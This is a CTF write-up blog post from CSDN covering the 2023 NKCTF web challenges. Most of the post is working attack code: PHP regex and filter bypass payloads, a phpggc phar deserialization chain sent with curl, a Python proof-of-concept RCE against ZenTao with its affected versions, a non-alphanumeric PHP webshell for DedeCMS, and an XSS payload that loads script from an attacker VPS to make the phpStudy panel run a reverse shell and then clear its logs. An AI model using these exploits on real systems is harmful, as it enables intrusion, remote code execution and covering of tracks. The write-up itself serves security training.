2023 NKCTF

最新推荐文章于 2024-06-19 15:00:41 发布
最新推荐文章于 2024-06-19 15:00:41 发布
阅读量567 收藏
点赞数
分类专栏： CTF 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53142368/article/details/129867329
版权

WEB

babyphp

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

这里面最主要是考点就是绕过preg_match匹配
使用linux通配符来绕过
cat [b-z][b-z][b-z]
或者说[!]来替换通配符 [!q]表示匹配非q的字符

eazyphp

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?>

考查的就是基本的传参

POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

hard_php

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>

数组能够直接绕过preg_match，让他直接执行phpinfo()
NKCTF[]=_ 看phpinfo()
disable_functions,过滤的函数有

disable_functions	passthru,exec,system,chroot,scandir,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,symlink,popepassthru,stream_socket_server,show_source

使用highlight_file()函数
NKCTF=$%ff=(_/_._)[_];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[%ff]($$_[_]);&%ff=highlight_file&_=/flag

webpagetest

./phpggc Monolog/RCE2 system 'cat /*' -p phar -o /tmp/testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

ez_pms

看一下禅道的版本，存在前台RCE

<script src='/js/all.js?v=18.0.beta1'></script>

# -*- coding: UTF-8 -*-
# !/usr/bin/python
 
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
 
proxies = {
    #"http": "127.0.0.1:8080",
    #"https": "127.0.0.1:8080",
}
def check(url):
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }
 
    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }
 
    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`cat /flag|base64 -w 0`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        print(req4.text)
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://4a62faad-f1af-400f-bc23-f9c22b50029d.node1.yuzhian.com.cn/"))

easy_cms

在/dede目录下进入管理员登录界面，是个弱口令admin，admin直接登录。

进入后台来到文件式管理器这里，发现可以上传和新建文件。新建了一个php文件，系统会匹配你的文件有没有恶意代码，这个有点像php自动审计工具识别漏洞点一样，是一种基于静态代码分析的一种静态审计，于是我们给他上传一个无字母数字webshell上去，就不会被检测到了
在根目录上传如下webshell

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

//post a=cat /f1Aggg;

xiaopi

请求带上请求头，才能出现登录框

X-Requested-With: XMLHttpRequest

登录框插入payload

<script src=http://ip:80/poc.js></script>

vps放置poc.js，然后启动http服务，让目标反弹一个shell回来

function poc(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){
      var id=data.data[0].ID;
      $.post('/service/app/tasks.php?type=exec_task',{
        tid:id
      },function(res2){
          $.post('/service/app/log.php?type=clearlog',{
              
          },function(res3){},"json");
          
        
      },"json");
    },"json");
  }
  function save(){
    var data=new Object();
    data.task_id="";
    data.title="test";
    data.exec_cycle="1";
    data.week="1";
    data.day="3";
    data.hour="14";
    data.minute = "20";
    data.shell='反弹shell';
    $.post('/service/app/tasks.php?type=save_shell',data,function(res){
      poc();
    },'json');
  }
  save();

phpstudy 小皮面板 RCE利用链 - 腾讯云开发者社区-腾讯云 (tencent.com)

H0ne
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
NKCTF.md
03-29
NKCTF.md
2024NKCTF-pwn
03-25
2024NKCTF_pwn
2023 NKCTF --- Crypto ezRSA wp
3tefanie丶zhou的博客
03-28 881
【世间情种偏好伤心事，苦中作乐，乐在其中，不伤心又如何算得上痴情人。】
2023NKCTF PWN
m0_63437215的博客
03-28 866
2023NKCTF
2023NKCTF Writeup——W4ntY0u.
weixin_52365980的博客
03-27 4034
NKCTF2023是由N0wayBack战队举办。本次比赛采用线上网络安全技能大赛实践赛的形式，覆盖Web、Reverse、Pwn、Misc、Crypto、SocialEngineering等主流赛题方向，面向国内所有个体及团队 除了梦想外我们一无所有，将会和蔑视与困境做最后的斗争，这是最后一舞
NKCTF 2023 Writeup By AheadSec
末初的CSDN博客
03-27 2616
NKCTF 2023 Writeup By AheadSec 战队的各位师傅辛苦啦~
2023NKCTF web题解
m0_62107966的博客
03-26 828
考察php函数漏洞，有md5、sha1、intval、非法参数名NS_CTF.go绕过、无数字字母绕过。第五层 绕无数字字母，使用或绕过即可。要先通过find命令找到flag文件，最后在cat获取即可。第四层是非法参数名NS_CTF.go的解决， 将。首先第一层if要绕md5，用数组即可。第二层是sha1绕过，用碰撞码绕过。第三层是绕intval 使用小数即可。第五层 绕无数字字母，使用或绕过即可。要先通过find命令找到flag文件，最后在cat获取即可。 ("%13%19%13%14成功拿到flag。
[NKCTF2023]web/misc/blockchain-wp
qq_63923205的博客
03-27 1056
NKCTF WP
2023NKCTF----web
qq_51233573的博客
05-15 411
一个一个慢慢绕过第一层 MD5弱比较参数a和b选其中一个进行绕过QNKCDZO240610708第二层 sha1绕过用两个sha1相同的值进行绕过（注意这里不能用burp）第三层 intval 参考这个用114514.01进行绕过第四层NS_CTF.go对这个参数进行传参要注意的是 不能又_ 用[代替最后一层过滤掉了所有的可见字符参考这篇文章 构造无数字字符的命令找一个在线运行php的。
NKCTF2023·Crypto WP(全)
qq_32284207的博客
03-31 1049
NKCTF2023密码全题解
NKCTF 2023-misc全解（有脚本，有详解）
路baby的博客
03-29 3363
前几天打了nkctf ，因为自己也是主打misc，顺便也复现一遍，一点自己的拙见，各位师傅见笑了
深入解析PHP函数
NatLindsay的博客
06-17 459
PHP函数是一种重要的编程概念，它可以帮助开发者组织和管理代码，提高代码的可重用性和可维护性。在PHP中，函数可以完成各种任务，从简单的数学计算到复杂的数据库查询和数据处理。本文将从多个角度探讨PHP函数的应用，涵盖了函数的定义和调用、内置函数的使用、自定义函数的创建以及常见的函数库。函数的参数：函数可以接受零个或多个参数，用于传递数据给函数内部使用。函数可以带有参数，用于接收输入，也可以返回值。函数命名：选择一个有意义的函数名，以便描述函数的功能。函数体：编写函数的具体实现代码，实现特定的功能。
ImageNet-1k 测试集 两大坑
weixin_42815846的博客
06-16 323
不然就会浪费一次提交机会，直接提交submission.txt就可以，注意每排5个预测结果，用于计算top5 error。2、用torchvision自带的imagenet dataset类加载进来的数据的类别标签，）但torchvision自动给你弄成。1、官方网站提交test set标签时，，但是他们的类别id不一样！以chickadee 山雀为例。这是torchvision的。他们的WNID都一样，
Linux-安装及管理程序
最新发布
A6985HG的博客
06-19 635
定义：本地Yum源是指将软件包存储在本地服务器或存储设备上的源。这些软件包可以是从官方源下载后本地存储的，也可以是用户自己编译的软件包。优点：本地Yum源的主要优势在于访问速度和可控性。由于软件包位于本地网络或服务器上，因此安装和更新速度快，尤其是在没有稳定互联网连接或需要大规模部署的情况下更为实用。
教育培训系统（FastAdmin+ThinkPHP+Unipp）
2401_84413757的博客
06-17 474
教育培训系统是一个集在线课程、学习资源、互动交流等功能于一体的综合性学习平台。它打破了传统教育的时空限制，让学习变得更加灵活自由。学员们可以根据自己的时间和需求，随时随地访问系统，选择感兴趣的课程进行学习。教育培训系统以其便捷的学习方式、丰富的资源和智能的评估功能，为我们的学习之路增添了色彩。让我们一起拥抱这个全新的学习平台，让学习变得更简单、更有趣！
python 多线程条件竞争利用失败print不显示的原因
fjh1997的博客
06-14 231
经过研究发现实际上是利用成功的，无非是print不显示，之后查到了这个原因：https://stackoverflow.com/a/43736208/10096812。但是拆成两个脚本同时运行可以成功。需要把print改为。
9、PHP 实现调整数组顺序使奇数位于偶数前面
weixin_44010641的博客
06-18 240
输入一个整数数组，实现一个函数来调整该数组中数字的顺序，使得所有的奇数位于数组的前半部分，所有的偶数位于位于数组的后半部分，并保证奇数和奇数，偶数和偶数之间的相对位置不变。
phpStudy安装sqli-labs
CheatMyself的博客
06-16 176
更改php版本为5.*，因为这个程序只能在php 5.x上运行，在php 7及更高版本上，函数“mysql_query”和一些相关函数被删除，而不是“mysqli_query”。某些函数中的“MySQL”被替换为“MySQLi”。git地址：https://github.com/Audi-1/sqli-labs。进入网页：http://127.0.0.1/sqli-labs-master/将git下载的sqli-labs文件放进去并解压。进入sql-connections修改。
<?php error_reporting(0); class Welcome{ public $name; public $arg = 'oww!man!!'; public function __construct(){ $this->name = 'ItS SO CREAZY'; } public function __destruct(){ if($this->name == 'welcome_to_NKCTF'){ echo $this->arg; } } } function waf($string){ if(preg_match('/f|l|a|g|*|?/i', $string)){ die("you are bad"); } } class Happy{ public $shell; public $cmd; public function __invoke(){ $shell = $this->shell; $cmd = $this->cmd; waf($cmd); eval($shell($cmd)); } } class Hell0{ public $func; public function __toString(){ $function = $this->func; $function(); } } if(isset($_GET['p'])){ unserialize($_GET['p']); }else{ highlight_file(FILE); } ?>我应该怎么注入攻击，用于教学
03-26
这将创建一个Welcome对象，它的名称为“welcome_to_NKCTF”，arg为“my_payload”。 接下来，需要构造一个恶意函数并将其传递给这个对象。由于类名、方法名和参数都被限制了，我们可以选择Happy类中的__invoke()...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值